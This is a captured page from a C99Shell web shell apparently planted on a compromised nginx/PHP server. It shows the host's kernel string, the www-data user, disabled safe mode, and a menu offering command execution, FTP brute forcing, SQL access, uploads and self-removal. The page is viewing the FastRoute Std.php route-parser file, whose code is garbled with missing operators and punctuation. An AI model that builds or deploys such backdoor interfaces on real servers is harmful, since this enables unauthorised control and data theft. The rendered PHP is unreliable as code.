!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: nginx/1.23.4. PHP/5.6.40-65+ubuntu20.04.1+deb.sury.org+1 

uname -a: Linux foro-restaurado-2 5.15.0-1040-oracle #46-Ubuntu SMP Fri Jul 14 21:47:21 UTC 2023
aarch64
 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/usr/share/php/FastRoute/RouteParser/   drwxr-xr-x
Free 83.21 GB of 96.73 GB (86.03%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     Std.php (2.54 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace FastRoute\RouteParser;

use 
FastRoute\BadRouteException;
use 
FastRoute\RouteParser;

/**
 * Parses route strings of the following form:
 *
 * "/user/{name}[/{id:[0-9]+}]"
 */
class Std implements RouteParser
{
    const 
VARIABLE_REGEX = <<<'REGEX'
\{
    \s* ([a-zA-Z_][a-zA-Z0-9_-]*) \s*
    (?:
        : \s* ([^{}]*(?:\{(?-1)\}[^{}]*)*)
    )?
\}
REGEX;
    const 
DEFAULT_DISPATCH_REGEX '[^/]+';

    public function 
parse($route)
    {
        
$routeWithoutClosingOptionals rtrim($route']');
        
$numOptionals strlen($route) - strlen($routeWithoutClosingOptionals);

        
// Split on [ while skipping placeholders
        
$segments preg_split('~' self::VARIABLE_REGEX '(*SKIP)(*F) | \[~x'$routeWithoutClosingOptionals);
        if (
$numOptionals !== count($segments) - 1) {
            
// If there are any ] in the middle of the route, throw a more specific error message
            
if (preg_match('~' self::VARIABLE_REGEX '(*SKIP)(*F) | \]~x'$routeWithoutClosingOptionals)) {
                throw new 
BadRouteException('Optional segments can only occur at the end of a route');
            }
            throw new 
BadRouteException("Number of opening '[' and closing ']' does not match");
        }

        
$currentRoute '';
        
$routeDatas = [];
        foreach (
$segments as $n => $segment) {
            if (
$segment === '' && $n !== 0) {
                throw new 
BadRouteException('Empty optional part');
            }

            
$currentRoute .= $segment;
            
$routeDatas[] = $this->parsePlaceholders($currentRoute);
        }
        return 
$routeDatas;
    }

    
/**
     * Parses a route string that does not contain optional segments.
     *
     * @param string
     * @return mixed[]
     */
    
private function parsePlaceholders($route)
    {
        if (!
preg_match_all(
            
'~' self::VARIABLE_REGEX '~x'$route$matches,
            
PREG_OFFSET_CAPTURE PREG_SET_ORDER
        
)) {
            return [
$route];
        }

        
$offset 0;
        
$routeData = [];
        foreach (
$matches as $set) {
            if (
$set[0][1] > $offset) {
                
$routeData[] = substr($route$offset$set[0][1] - $offset);
            }
            
$routeData[] = [
                
$set[1][0],
                isset(
$set[2]) ? trim($set[2][0]) : self::DEFAULT_DISPATCH_REGEX
            
];
            
$offset $set[0][1] + strlen($set[0][0]);
        }

        if (
$offset !== strlen($route)) {
            
$routeData[] = substr($route$offset);
        }

        return 
$routeData;
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by HackingTool | HackingTool | Generation time: 0.0044 ]--